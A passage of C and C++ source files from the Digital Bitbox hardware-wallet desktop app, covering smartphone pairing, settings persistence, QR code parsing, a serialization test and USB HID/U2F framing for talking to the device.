sendECDHPairingRequest(msg.toStdString());
}
else if (possibleIDObject.isStr())
{
if (possibleIDObject.get_str() == "success")
hideModalInfo();
}
else if (possibleRandomObject.isStr())
{
if (possibleRandomObject.get_str() == "clear")
hideModalInfo();
}
else if (possibleActionObject.isStr() && possibleActionObject.get_str() == "pong")
{
lastPing = 0;
this->statusBarVDeviceIcon->setToolTip(tr("Verification Device Connected"));
this->statusBarVDeviceIcon->setVisible(true);
comServer->mobileAppConnected = true;
}
}
void DBBDaemonGui::pairSmartphone()
{
//create a new channel id and encryption key
bool generateData = true;
if (!comServer->getChannelID().empty())
{
QMessageBox::StandardButton reply = QMessageBox::question(this, "", tr("Would you like to re-pair your device (create a new key)?"), QMessageBox::Yes | QMessageBox::No);
if (reply == QMessageBox::No) {
generateData = false;
}
}
if (generateData) {
comServer->generateNewKey();
configData->setComServerChannelID(comServer->getChannelID());
configData->setComServerEncryptionKey(comServer->getEncryptionKey());
configData->write();
comServer->setChannelID(configData->getComServerChannelID());
comServer->startLongPollThread();
pingComServer();
}
QString pairingData = QString::fromStdString(comServer->getPairData());
showModalInfo(tr("Scan the QR code using the Digital Bitbox mobile app.")+"<br/><br /><font color=\"#999999\" style=\"font-size: small\">Connection-Code:<br />"+QString::fromStdString(comServer->getChannelID())+":"+QString::fromStdString(comServer->getAESKeyBase58())+"</font>", DBB_PROCESS_INFOLAYER_CONFIRM_WITH_BUTTON);
updateModalWithQRCode(pairingData);
}
void DBBDaemonGui::showSettings()
{
if (!settingsDialog)
{
settingsDialog = new SettingsDialog(this, configData, cachedDeviceLock);
connect(settingsDialog, SIGNAL(settingsDidChange()), this, SLOT(updateSettings()));
connect(settingsDialog, SIGNAL(settingsShouldChangeHiddenPassword(const QString&)), this, SLOT(updateHiddenPassword(const QString&)));
connect(settingsDialog, SIGNAL(settingsShouldResetU2F()), this, SLOT(resetU2F()));
}
settingsDialog->updateDeviceLocked(cachedDeviceLock);
settingsDialog->show();
}
void DBBDaemonGui::updateSettings()
{
vMultisigWallets[0]->setBackendURL(configData->getBWSBackendURL());
vMultisigWallets[0]->setSocks5ProxyURL(configData->getSocks5ProxyURL());
singleWallet->setBackendURL(configData->getBWSBackendURL());
singleWallet->setSocks5ProxyURL(configData->getSocks5ProxyURL());
if (comServer)
{
comServer->setURL(configData->getComServerURL());
comServer->setSocks5ProxyURL(configData->getSocks5ProxyURL());
}
if (updateManager)
updateManager->setSocks5ProxyURL(configData->getSocks5ProxyURL());
}
void DBBDaemonGui::updateHiddenPassword(const QString& hiddenPassword)
{
DBB::LogPrint("Set hidden password\n", "");
std::string cmd("{\"hidden_password\": \""+hiddenPassword.toStdString()+"\"}");
QString version = this->ui->versionLabel->text();
if (!(version.contains(QString("v2.")) || version.contains(QString("v1.")) || version.contains(QString("v0.")))) {
// v3+ has a new api.
std::string hashHex = DBB::getStretchedBackupHexKey(hiddenPassword.toStdString());
cmd = std::string("{\"hidden_password\": { \"password\": \""+hiddenPassword.toStdString()+"\", \"key\": \""+hashHex+"\"} }");
}
executeCommandWrapper(cmd, DBB_PROCESS_INFOLAYER_STYLE_TOUCHBUTTON, [this](const std::string& cmdOut, dbb_cmd_execution_status_t status) {
UniValue jsonOut;
jsonOut.read(cmdOut);
emit gotResponse(jsonOut, status, DBB_RESPONSE_TYPE_RESET_PASSWORD);
});
}
void DBBDaemonGui::showQrCodeScanner()
{
#ifdef DBB_USE_MULTIMEDIA
if (!qrCodeScanner)
{
qrCodeScanner = new DBBQRCodeScanner(this);
connect(qrCodeScanner, SIGNAL(QRCodeFound(const QString&)), this, SLOT(qrCodeFound(const QString&)));
}
qrCodeScanner->show();
qrCodeScanner->setScannerActive(true);
#endif
}
void DBBDaemonGui::qrCodeFound(const QString &payload)
{
#ifdef DBB_USE_MULTIMEDIA
static const char bitcoinurl[] = "bitcoin:";
static const char amountfield[] = "amount=";
bool validQRCode = false;
if (payload.startsWith(bitcoinurl, Qt::CaseInsensitive))
{
// get the part after the "bitcoin:"
QString addressWithDetails = payload.mid(strlen(bitcoinurl));
// form a substring with only the address
QString onlyAddress = addressWithDetails.mid(0,addressWithDetails.indexOf("?"));
// if there is an amount, rip our the string
if (addressWithDetails.indexOf(amountfield) != -1)
{
QString part = addressWithDetails.mid(addressWithDetails.indexOf(amountfield));
QString amount = part.mid(strlen(amountfield),part.indexOf("&")-strlen(amountfield));
// fill amount
this->ui->sendAmount->setText(amount);
}
// fill address
this->ui->sendToAddress->setText(onlyAddress);
validQRCode = true;
}
qrCodeScanner->setScannerActive(false);
qrCodeScanner->hide();
if (!validQRCode)
showAlert(tr("Invalid Bitcoin QRCode"), tr("The scanned QRCode does not contain a valid Bitcoin address."));
#endif
}
inline bool file_exists (const char *name) {
struct stat buffer;
int result = stat(name, &buffer);
return (result == 0);
}
void DBBDaemonGui::checkUDevRule()
{
#if DBB_ENABLE_UDEV_CHECK
static const int WARNING_NEVER_SHOW_AGAIN = 2;
const char *udev_rules_file = "/etc/udev/rules.d/52-hid-digitalbitbox.rules";
QSettings settings;
if (settings.value("udev_warning_state", 0).toInt() != WARNING_NEVER_SHOW_AGAIN && !file_exists(udev_rules_file))
{
QMessageBox msgBox;
msgBox.setText(tr("Linux udev rule"));
msgBox.setInformativeText(tr("It looks like you are running on Linux and don't have the required udev rule."));
QAbstractButton *dontWarnAgainButton = msgBox.addButton(tr("Don't warn me again"), QMessageBox::RejectRole);
QAbstractButton *showHelpButton = msgBox.addButton(tr("Show online manual"), QMessageBox::HelpRole);
msgBox.addButton(QMessageBox::Ok);
msgBox.exec();
if (msgBox.clickedButton() == dontWarnAgainButton)
{
settings.setValue("udev_warning_state", WARNING_NEVER_SHOW_AGAIN);
}
if (msgBox.clickedButton() == showHelpButton)
{
QDesktopServices::openUrl(QUrl("https://digitalbitbox.com/start_linux#udev?app=dbb-app"));
}
}
#endif
}
<|start_filename|>src/dbb_configdata.h<|end_filename|>
// Copyright (c) 2016 <NAME>
// Distributed under the MIT software license, see the accompanying
// file COPYING or http://www.opensource.org/licenses/mit-license.php.
#ifndef DBB_CONFIGDATA_H
#define DBB_CONFIGDATA_H
#ifndef _SRC_CONFIG__DBB_CONFIG_H
#include "config/_dbb-config.h"
#endif
#include <univalue.h>
#include "libdbb/crypto.h"
#include <string>
#include <fstream>
static const char *bwsDefaultBackendURL = "https://bws.bitpay.com/bws/api";
static const char *defaultDBBProxyURL = "https://bws.digitalbitbox.com/bws/api";
static const char *defaultTorProxyURL = "socks5://localhost:9050";
static const char *comServerDefaultURL = "https://digitalbitbox.com/smartverification/index.php";
static const char *kVERSION = "version";
static const char *kCOM_CHANNEL_ID = "comserverchannelid";
static const char *kENC_PKEY = "encryptionprivkey";
static const char *kBWS_URL = "bws_url";
static const char *kCOMSERVER_URL = "comsrv_url";
static const char *kSOCKS5_PROXY = "socks5_url";
static const char *kUSE_DEFAULT_PROXY = "use_default_proxy";
static const char *kDBB_PROXY = "dbb_proxy";
namespace DBB
{
// simple model/controller class for persistance use settings
// uses JSON/file as persistance store
class DBBConfigdata {
private:
static const int CURRENT_VERSION=1;
std::string filename;
int32_t version;
std::string comServerURL;
std::string bwsBackendURL;
std::string comServerChannelID;
std::vector<unsigned char> encryptionKey;
std::string socks5ProxyURL;
bool dbbProxy;
bool useDefaultProxy;
public:
DBBConfigdata(const std::string& filenameIn)
{
bwsBackendURL = std::string(bwsDefaultBackendURL);
comServerURL = std::string(comServerDefaultURL);
filename = filenameIn;
version = CURRENT_VERSION;
encryptionKey.clear();
encryptionKey.resize(32);
memset(&encryptionKey[0], 0, 32);
dbbProxy = false;
useDefaultProxy = false;
}
std::string getComServerURL() { return comServerURL; }
void setComServerURL(const std::string& newURL) { comServerURL = newURL; }
std::string getComServerChannelID() { return comServerChannelID; }
void setComServerChannelID(const std::string& newID) { comServerChannelID = newID; }
std::vector<unsigned char> getComServerEncryptionKey() { return encryptionKey; }
void setComServerEncryptionKey(const std::vector<unsigned char>& newKey) { encryptionKey = newKey; }
std::string getBWSBackendURLInternal()
{
return bwsBackendURL;
}
std::string getBWSBackendURL()
{
if (dbbProxy && ( bwsBackendURL == bwsDefaultBackendURL ))
return defaultDBBProxyURL;
return bwsBackendURL;
}
void setBWSBackendURL(const std::string& newURL) { bwsBackendURL = newURL; }
std::string getSocks5ProxyURLInternal() {
return socks5ProxyURL;
}
std::string getSocks5ProxyURL() {
if (!useDefaultProxy)
return std::string();
if (socks5ProxyURL.size() > 0)
return socks5ProxyURL;
return defaultTorProxyURL;
}
void setSocks5ProxyURL(const std::string& in_socks5ProxyURL) { socks5ProxyURL = in_socks5ProxyURL; }
bool getDBBProxy() { return dbbProxy; }
void setDBBProxy(bool newState) { dbbProxy = newState; }
bool getUseDefaultProxy() { return useDefaultProxy; }
void setUseDefaultProxy(bool newState) { useDefaultProxy = newState; }
std::string getDefaultBWSULR() { return bwsDefaultBackendURL; }
std::string getDefaultComServerURL() { return comServerDefaultURL; }
bool write()
{
UniValue objData(UniValue::VOBJ);
objData.pushKV(kVERSION, version);
objData.pushKV(kENC_PKEY, base64_encode(&encryptionKey[0], 32));
objData.pushKV(kCOM_CHANNEL_ID, comServerChannelID);
if (bwsBackendURL != bwsDefaultBackendURL)
objData.pushKV(kBWS_URL, bwsBackendURL);
if (comServerURL != comServerDefaultURL)
objData.pushKV(kCOMSERVER_URL, comServerURL);
if (!socks5ProxyURL.empty())
objData.pushKV(kSOCKS5_PROXY, socks5ProxyURL);
UniValue dbbProxyU(UniValue::VBOOL);
dbbProxyU.setBool(dbbProxy);
objData.pushKV(kDBB_PROXY, dbbProxyU);
UniValue defaultProxyU(UniValue::VBOOL);
defaultProxyU.setBool(useDefaultProxy);
objData.pushKV(kUSE_DEFAULT_PROXY, defaultProxyU);
std::string json = objData.write();
FILE* writeFile = fopen(filename.c_str(), "w");
if (writeFile) {
fwrite(&json[0], 1, json.size(), writeFile);
fclose(writeFile);
}
return true;
}
bool read()
{
FILE* readFile = fopen(filename.c_str(), "r");
std::string json;
if (readFile) {
fseek(readFile,0,SEEK_END);
int size = ftell(readFile);
json.resize(size);
fseek(readFile,0,SEEK_SET);
fread(&json[0], 1, size, readFile);
fclose(readFile);
}
UniValue objData(UniValue::VOBJ);
objData.read(json);
if (objData.isObject())
{
UniValue versionU = find_value(objData, kVERSION);
if (versionU.isNum())
version = versionU.get_int();
UniValue comServerChannelIDU = find_value(objData, kCOM_CHANNEL_ID);
if (comServerChannelIDU.isStr())
comServerChannelID = comServerChannelIDU.get_str();
UniValue comServerURLU = find_value(objData, kCOMSERVER_URL);
if (comServerURLU.isStr())
comServerURL = comServerURLU.get_str();
UniValue bwsBackendURLU = find_value(objData, kBWS_URL);
if (bwsBackendURLU.isStr())
bwsBackendURL = bwsBackendURLU.get_str();
UniValue encryptionKeyU = find_value(objData, kENC_PKEY);
if (encryptionKeyU.isStr())
{
std::string encryptionKeyS = base64_decode(encryptionKeyU.get_str());
encryptionKey.clear();
std::copy(encryptionKeyS.begin(), encryptionKeyS.end(), std::back_inserter(encryptionKey));
}
UniValue socks5ProxyU = find_value(objData, kSOCKS5_PROXY);
if (socks5ProxyU.isStr())
socks5ProxyURL = socks5ProxyU.get_str();
UniValue dbbProxyU = find_value(objData, kDBB_PROXY);
if (dbbProxyU.isBool())
dbbProxy = dbbProxyU.get_bool();
else
dbbProxy = false;
UniValue defaultProxyU = find_value(objData, kUSE_DEFAULT_PROXY);
if (defaultProxyU.isBool())
useDefaultProxy = defaultProxyU.get_bool();
else
useDefaultProxy = false;
}
return true;
}
};
}
#endif //DBB_CONFIGDATA_H
<|start_filename|>src/libbtc/test/serialize_tests.c<|end_filename|>
/**********************************************************************
* Copyright (c) 2015 <NAME> *
* Distributed under the MIT software license, see the accompanying *
* file COPYING or http://www.opensource.org/licenses/mit-license.php.*
**********************************************************************/
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <assert.h>
#include <btc/cstr.h>
#include "serialize.h"
#include "utils.h"
void test_serialize()
{
char hex0[] = "28969cdfa74a12c82f3bad960b0b000aca2ac329deea5c2328ebc6f2ba9802c1";
char hex1[] = "28969cdfa74a12c82f3bad960b0b000aca2ac329deea5c2328ebc6f2ba9802c2";
char hex2[] = "28969cdfa74a12c82f3bad960b0b000aca2ac329deea5c2328ebc6f2ba9802c3";
uint8_t* hash0 = malloc(32);
uint8_t* hash1 = malloc(32);
uint8_t* hash2 = malloc(32);
memcpy(hash0, utils_hex_to_uint8(hex0), 32);
memcpy(hash1, utils_hex_to_uint8(hex1), 32);
memcpy(hash2, utils_hex_to_uint8(hex2), 32);
vector* vec = vector_new(5, free);
vector_add(vec, hash0);
vector_add(vec, hash1);
vector_add(vec, hash2);
cstring* s = cstr_new_sz(200);
ser_u256_vector(s, vec);
vector_free(vec, true);
vector* vec2 = vector_new(0, NULL);
struct const_buffer buf = {s->str, s->len};
deser_u256_vector(&vec2, &buf);
vector_free(vec2, true);
cstr_free(s, true);
cstring* s2 = cstr_new_sz(200);
ser_u16(s2, 0xAAFF);
ser_u32(s2, 0xDDBBAAFF);
ser_u64(s2, 0x99FF99FFDDBBAAFF);
ser_varlen(s2, 10);
ser_varlen(s2, 1000);
ser_varlen(s2, 100000000);
ser_str(s2, "test", 4);
cstring* s3 = cstr_new("foo");
ser_varstr(s2, s3);
cstr_free(s3, true);
// ser_varlen(s2, (uint64_t)0x9999999999999999); // uint64 varlen is not supported right now
struct const_buffer buf2 = {s2->str, s2->len};
uint16_t num0;
deser_u16(&num0, &buf2);
assert(num0 == 43775); //0xAAFF
uint32_t num1;
deser_u32(&num1, &buf2);
assert(num1 == 3720063743); //0xDDBBAAFF
uint64_t num2;
deser_u64(&num2, &buf2);
assert(num2 == 0x99FF99FFDDBBAAFF); //0x99FF99FFDDBBAAFF
uint32_t num3;
deser_varlen(&num3, &buf2);
assert(num3 == 10);
deser_varlen(&num3, &buf2);
assert(num3 == 1000);
deser_varlen(&num3, &buf2);
assert(num3 == 100000000);
char strbuf[255];
deser_str(strbuf, &buf2, 255);
assert(strncmp(strbuf, "test", 4) == 0);
cstring* deser_test = cstr_new_sz(0);
deser_varstr(&deser_test, &buf2);
assert(strncmp(deser_test->str, "foo", 3) == 0);
cstr_free(deser_test, true);
cstr_free(s2, true);
}
<|start_filename|>src/libbtc/src/serialize.h<|end_filename|>
/*
The MIT License (MIT)
Copyright (c) 2012 exMULTI, Inc.
Copyright (c) 2015 <NAME>
Permission is hereby granted, free of charge, to any person obtaining
a copy of this software and associated documentation files (the "Software"),
to deal in the Software without restriction, including without limitation
the rights to use, copy, modify, merge, publish, distribute, sublicense,
and/or sell copies of the Software, and to permit persons to whom the
Software is furnished to do so, subject to the following conditions:
The above copyright notice and this permission notice shall be included
in all copies or substantial portions of the Software.
THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS
OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL
THE AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES
OR OTHER LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE,
ARISING FROM, OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR
OTHER DEALINGS IN THE SOFTWARE.
*/
#ifndef LIBBTC_VECTOR_H__
#define LIBBTC_VECTOR_H__
#include <stdint.h>
#include "buffer.h"
#include "btc/cstr.h"
#include "btc/vector.h"
#include "portable_endian.h"
extern void ser_bytes(cstring* s, const void* p, size_t len);
extern void ser_u16(cstring* s, uint16_t v_);
extern void ser_u32(cstring* s, uint32_t v_);
extern void ser_u64(cstring* s, uint64_t v_);
static inline void ser_u256(cstring* s, const unsigned char* v_)
{
ser_bytes(s, v_, 32);
}
extern void ser_varlen(cstring* s, uint32_t vlen);
extern void ser_str(cstring* s, const char* s_in, size_t maxlen);
extern void ser_varstr(cstring* s, cstring* s_in);
static inline void ser_s32(cstring* s, int32_t v_)
{
ser_u32(s, (uint32_t)v_);
}
static inline void ser_s64(cstring* s, int64_t v_)
{
ser_u64(s, (uint64_t)v_);
}
extern void ser_u256_vector(cstring* s, vector* vec);
extern btc_bool deser_skip(struct const_buffer* buf, size_t len);
extern btc_bool deser_bytes(void* po, struct const_buffer* buf, size_t len);
extern btc_bool deser_u16(uint16_t* vo, struct const_buffer* buf);
extern btc_bool deser_u32(uint32_t* vo, struct const_buffer* buf);
extern btc_bool deser_u64(uint64_t* vo, struct const_buffer* buf);
static inline btc_bool deser_u256(uint8_t* vo, struct const_buffer* buf)
{
return deser_bytes(vo, buf, 32);
}
extern btc_bool deser_varlen(uint32_t* lo, struct const_buffer* buf);
extern btc_bool deser_str(char* so, struct const_buffer* buf, size_t maxlen);
extern btc_bool deser_varstr(cstring** so, struct const_buffer* buf);
static inline btc_bool deser_s64(int64_t* vo, struct const_buffer* buf)
{
return deser_u64((uint64_t*)vo, buf);
}
extern btc_bool deser_u256_vector(vector** vo, struct const_buffer* buf);
//extern void u256_from_compact(BIGNUM *vo, uint32_t c);
#endif /* LIBBTC_VECTOR_H__ */
<|start_filename|>src/libdbb/dbb.cpp<|end_filename|>
// Copyright (c) 2015 <NAME>
// Distributed under the MIT software license, see the accompanying
// file COPYING or http://www.opensource.org/licenses/mit-license.php.
#include "dbb.h"
#include <assert.h>
#include <cmath>
#include <iostream>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#include <time.h>
#ifndef WIN32
#include <arpa/inet.h>
#endif
#include <string>
#include <stdexcept>
#ifndef _SRC_CONFIG__DBB_CONFIG_H
#include "config/_dbb-config.h"
#endif
#include "dbb_util.h"
#include "crypto.h"
#include "univalue.h"
#include "hidapi/hidapi.h"
#include <btc/hash.h>
#include <btc/ecc_key.h>
//defined in libbtc sha2.h
extern "C" {
extern void hmac_sha512(const uint8_t* key, const uint32_t keylen, const uint8_t* msg, const uint32_t msglen, uint8_t* hmac);
}
#define HID_MAX_BUF_SIZE 5120
#define HID_READ_TIMEOUT (120 * 1000)
#ifdef DBB_ENABLE_DEBUG
#define DBB_DEBUG_INTERNAL(format, args...) printf(format, ##args);
#else
#define DBB_DEBUG_INTERNAL(format, args...)
#endif
namespace DBB
{
static hid_device* HID_HANDLE = NULL;
static enum dbb_device_mode HID_CURRENT_DEVICE_MODE = DBB_DEVICE_UNKNOWN;
static std::string HID_CURRENT_DEVICE_PATH();
static unsigned int readBufSize = HID_REPORT_SIZE_DEFAULT;
static unsigned int writeBufSize = HID_REPORT_SIZE_DEFAULT;
static unsigned char HID_REPORT[HID_MAX_BUF_SIZE] = {0};
#define USB_REPORT_SIZE 64
#ifndef MIN
#define MIN(a, b) (((a) < (b)) ? (a) : (b))
#endif
#define HWW_CID 0xff000000
#define TYPE_MASK 0x80 // Frame type mask
#define TYPE_INIT 0x80 // Initial frame identifier
#define TYPE_CONT 0x00 // Continuation frame identifier
#define ERR_INVALID_SEQ 0x04 // Invalid message sequencing
#define U2FHID_ERROR (TYPE_INIT | 0x3f) // Error response
#define U2FHID_VENDOR_FIRST (TYPE_INIT | 0x40) // First vendor defined command
#define HWW_COMMAND (U2FHID_VENDOR_FIRST + 0x01)// Hardware wallet command
#define FRAME_TYPE(f) ((f).type & TYPE_MASK)
#define FRAME_CMD(f) ((f).init.cmd & ~TYPE_MASK)
#define MSG_LEN(f) (((f).init.bcnth << 8) + (f).init.bcntl)
#define FRAME_SEQ(f) ((f).cont.seq & ~TYPE_MASK)
__extension__ typedef struct {
uint32_t cid; // Channel identifier
union {
uint8_t type; // Frame type - bit 7 defines type
struct {
uint8_t cmd; // Command - bit 7 set
uint8_t bcnth; // Message byte count - high
uint8_t bcntl; // Message byte count - low
uint8_t data[USB_REPORT_SIZE - 7]; // Data payload
} init;
struct {
uint8_t seq; // Sequence number - bit 7 cleared
uint8_t data[USB_REPORT_SIZE - 5]; // Data payload
} cont;
};
} USB_FRAME;
static int api_hid_send_frame(USB_FRAME *f)
{
int res = 0;
uint8_t d[sizeof(USB_FRAME) + 1];
memset(d, 0, sizeof(d));
d[0] = 0; // un-numbered report
f->cid = htonl(f->cid); // cid is in network order on the wire
memcpy(d + 1, f, sizeof(USB_FRAME));
f->cid = ntohl(f->cid);
DBB_DEBUG_INTERNAL("send frame data %s\n", HexStr(d, d+sizeof(d)).c_str(), res);
res = hid_write(HID_HANDLE, d, sizeof(d));
if (res == sizeof(d)) {
return 0;
}
return 1;
}
static int api_hid_send_frames(uint32_t cid, uint8_t cmd, const void *data, size_t size)
{
USB_FRAME frame;
int res;
size_t frameLen;
uint8_t seq = 0;
const uint8_t *pData = (const uint8_t *) data;
frame.cid = cid;
frame.init.cmd = TYPE_INIT | cmd;
frame.init.bcnth = (size >> 8) & 255;
frame.init.bcntl = (size & 255);
frameLen = MIN(size, sizeof(frame.init.data));
memset(frame.init.data, 0xEE, sizeof(frame.init.data));
memcpy(frame.init.data, pData, frameLen);
do {
res = api_hid_send_frame(&frame);
DBB_DEBUG_INTERNAL(" send frame done, bytes: %d (result: %d)\n", frameLen, res);
if (res != 0) {
return res;
}
size -= frameLen;
pData += frameLen;
frame.cont.seq = seq++;
frameLen = MIN(size, sizeof(frame.cont.data));
memset(frame.cont.data, 0xEE, sizeof(frame.cont.data));
memcpy(frame.cont.data, pData, frameLen);
} while (size);
return 0;
}
static int api_hid_read_frame(USB_FRAME *r)
{
memset((int8_t *)r, 0xEE, sizeof(USB_FRAME));
int res = 0;
res = hid_read_timeout(HID_HANDLE, (uint8_t *) r, sizeof(USB_FRAME), HID_READ_TIMEOUT);
if (res == sizeof(USB_FRAME)) {
r->cid = ntohl(r->cid);
return 0;
}
return 1;
}
static int api_hid_read_frames(uint32_t cid, uint8_t cmd, void *data, int max)
{
USB_FRAME frame;
int res, result;
size_t totalLen, frameLen;
uint8_t seq = 0;
uint8_t *pData = (uint8_t *) data;
(void) cmd;
do {
res = api_hid_read_frame(&frame);
if (res != 0) {
return res;
}
} while (frame.cid != cid || FRAME_TYPE(frame) != TYPE_INIT);
if (frame.init.cmd == U2FHID_ERROR) {
DBB_DEBUG_INTERNAL("reading error... U2FHID_ERROR\n", res);
return -frame.init.data[0];
}
totalLen = MIN(max, MSG_LEN(frame));
frameLen = MIN(sizeof(frame.init.data), totalLen);
result = totalLen;
memcpy(pData, frame.init.data, frameLen);
totalLen -= frameLen;
pData += frameLen;
while (totalLen) {
res = api_hid_read_frame(&frame);
if (res != 0) {
return res;
}
if (frame.cid != cid) {
continue;
}
if (FRAME_TYPE(frame) != TYPE_CONT) {
return -ERR_INVALID_SEQ;
}
if (FRAME_SEQ(frame) != seq++) {
return -ERR_INVALID_SEQ;
}
frameLen = MIN(sizeof(frame.cont.data), totalLen);
memcpy(pData, frame.cont.data, frameLen);
totalLen -= frameLen;
pData += frameLen;
}
return result;
}
static bool api_hid_init(unsigned int writeBufSizeIn = HID_REPORT_SIZE_DEFAULT, unsigned int readBufSizeIn = HID_REPORT_SIZE_DEFAULT, const char *path = NULL)
{
readBufSize = readBufSizeIn;
writeBufSize = writeBufSizeIn;
DBB_DEBUG_INTERNAL("hid open path: %s\n", path);
HID_HANDLE = hid_open_path(path);
if (!HID_HANDLE) {
return false;
}
return true;
}
static bool api_hid_close(void)
{
//TODO: way to handle multiple DBB
if (HID_HANDLE) {
hid_close(HID_HANDLE); //vendor-id, product-id
hid_exit();
HID_HANDLE = 0;
return true;
}
return false;
}
enum dbb_device_mode deviceAvailable(std::string& devicePathOut)
{
struct hid_device_info* devs, *cur_dev;
devs = hid_enumerate(0x03eb, 0x2402);
cur_dev = devs;
enum dbb_device_mode foundType = DBB_DEVICE_NO_DEVICE;
while (cur_dev) {
//DBB_DEBUG_INTERNAL("found device with usage_page: %d and ifnum: %d and path: %s\n", cur_dev->usage_page, cur_dev->interface_number, cur_dev->path);
if (cur_dev->interface_number == 0 || cur_dev->usage_page == 0xffff) {
// get the manufacturer wide string
if (!cur_dev || !cur_dev->manufacturer_string || !cur_dev->serial_number || !cur_dev->path)
{
cur_dev = cur_dev->next;
foundType = DBB_DEVICE_UNKNOWN;
continue;
}
devicePathOut.resize(strlen(cur_dev->path));
devicePathOut.assign(cur_dev->path);
std::wstring wsMF(cur_dev->manufacturer_string);
std::string strMF( wsMF.begin(), wsMF.end() );
// get the setial number wide string
std::wstring wsSN(cur_dev->serial_number);
std::string strSN( wsSN.begin(), wsSN.end() );
std::vector<std::string> vSNParts = DBB::split(strSN, ':');
if ((vSNParts.size() == 2 && vSNParts[0] == "dbb.fw") || strSN == "firmware")
{
foundType = DBB_DEVICE_MODE_FIRMWARE;
// for now, only support one digit version numbers
if (vSNParts[1].size() >= 6 && vSNParts[1][0] == 'v')
{
int major = vSNParts[1][1] - '0';
int minor = vSNParts[1][3] - '0';
int patch = vSNParts[1][5] - '0';
// if version is greater or equal to then 2.1.0, use U2F protocol
if (major > 2 || (major == 2 && minor >= 1))
{
foundType = DBB_DEVICE_MODE_FIRMWARE_U2F;
}
}
if (vSNParts[1].size() > 2 && vSNParts[1][vSNParts[1].size()-2] == '-' && vSNParts[1][vSNParts[1].size()-1] == '-') {
foundType = (foundType == DBB_DEVICE_MODE_FIRMWARE) ? DBB_DEVICE_MODE_FIRMWARE_NO_PASSWORD : DBB_DEVICE_MODE_FIRMWARE_U2F_NO_PASSWORD;
}
break;
}
else if (vSNParts.size() == 2 && vSNParts[0] == "dbb.bl")
{
foundType = DBB_DEVICE_MODE_BOOTLOADER;
break;
}
else
{
cur_dev = cur_dev->next;
}
}
else
{
cur_dev = cur_dev->next;
}
}
hid_free_enumeration(devs);
//DBB_DEBUG_INTERNAL("found device type: %d\n", foundType);
return foundType;
}
bool isConnectionOpen()
{
return (HID_HANDLE != NULL);
}
bool openConnection(enum dbb_device_mode mode, const std::string& devicePath)
{
if (mode == DBB_DEVICE_MODE_BOOTLOADER && api_hid_init(HID_BL_BUF_SIZE_W, HID_BL_BUF_SIZE_R, devicePath.c_str())) {
HID_CURRENT_DEVICE_MODE = mode;
return true;
}
else if ((mode == DBB_DEVICE_MODE_FIRMWARE_U2F || mode == DBB_DEVICE_MODE_FIRMWARE_U2F_NO_PASSWORD) && api_hid_init(HID_BL_BUF_SIZE_W, HID_BL_BUF_SIZE_R, devicePath.c_str())) {
HID_CURRENT_DEVICE_MODE = mode;
return true;
}
else
{
HID_CURRENT_DEVICE_MODE = DBB_DEVICE_MODE_FIRMWARE;
return api_hid_init(HID_REPORT_SIZE_DEFAULT, HID_REPORT_SIZE_DEFAULT, devicePath.c_str());
}
}
bool closeConnection()
{
return api_hid_close();
}
bool sendCommand(const std::string& json, std::string& resultOut)
{
int res, cnt = 0;
if (!HID_HANDLE)
return false;
DBB_DEBUG_INTERNAL("Sending command: %s\n", json.c_str());
memset(HID_REPORT, 0, HID_MAX_BUF_SIZE);
if (json.size()+1 > HID_MAX_BUF_SIZE)
{
DBB_DEBUG_INTERNAL("Buffer to small for string to send");
return false;
}
int reportShift = 0;
#ifdef DBB_ENABLE_HID_REPORT_SHIFT
reportShift = 1;
#endif
HID_REPORT[0] = 0x00;
memcpy(HID_REPORT+reportShift, json.c_str(), std::min(HID_MAX_BUF_SIZE, (int)json.size()));
if (HID_CURRENT_DEVICE_MODE == DBB_DEVICE_MODE_FIRMWARE_U2F || HID_CURRENT_DEVICE_MODE == DBB_DEVICE_MODE_FIRMWARE_U2F_NO_PASSWORD)
{
int res = api_hid_send_frames(HWW_CID, HWW_COMMAND, json.c_str(), json.size());
DBB_DEBUG_INTERNAL("sending done... %d\n", res);
memset(HID_REPORT, 0, HID_MAX_BUF_SIZE);
res = api_hid_read_frames(HWW_CID, HWW_COMMAND, HID_REPORT, HID_REPORT_SIZE_DEFAULT);
DBB_DEBUG_INTERNAL("reading done... %d\n", res);
}
else {
if(hid_write(HID_HANDLE, (unsigned char*)HID_REPORT, writeBufSize+reportShift) == -1)
{
const wchar_t *error = hid_error(HID_HANDLE);
if (error)
{
std::wstring wsER(error);
std::string strER( wsER.begin(), wsER.end() );
DBB_DEBUG_INTERNAL("Error writing to the usb device: %s\n", strER.c_str());
}
return false;
}
DBB_DEBUG_INTERNAL("try to read some bytes...\n");
memset(HID_REPORT, 0, HID_MAX_BUF_SIZE);
while (cnt < readBufSize) {
res = hid_read_timeout(HID_HANDLE, HID_REPORT + cnt, readBufSize, HID_READ_TIMEOUT);
if (res < 0 || (res == 0 && cnt < readBufSize)) {
std::string errorStr = "";
const wchar_t *error = hid_error(HID_HANDLE);
if (error)
{
std::wstring wsER(error);
errorStr.assign( wsER.begin(), wsER.end() );
}
DBB_DEBUG_INTERNAL("HID Read failed or timed out: %s\n", errorStr.c_str());
return false;
}
cnt += res;
}
DBB_DEBUG_INTERNAL(" OK, read %d bytes (%s).\n", res, (const char*)HID_REPORT);
}
resultOut.assign((const char*)HID_REPORT);
return true;
}
bool sendChunk(unsigned int chunknum, const std::vector<unsigned char>& data, std::string& resultOut)
{
int res, cnt = 0;
if (!HID_HANDLE)
return false;
DBB_DEBUG_INTERNAL("Sending chunk: %d\n", chunknum);
assert(data.size() <= HID_MAX_BUF_SIZE-2);
memset(HID_REPORT, 0xFF, HID_MAX_BUF_SIZE);
int reportShift = 0;
#ifdef DBB_ENABLE_HID_REPORT_SHIFT
reportShift = 1;
HID_REPORT[0] = 0x00;
#endif
HID_REPORT[0+reportShift] = 0x77;
HID_REPORT[1+reportShift] = chunknum % 0xff;
memcpy((void *)&HID_REPORT[2+reportShift], (unsigned char*)&data[0], data.size());
if(hid_write(HID_HANDLE, (unsigned char*)HID_REPORT, writeBufSize+reportShift) == -1)
{
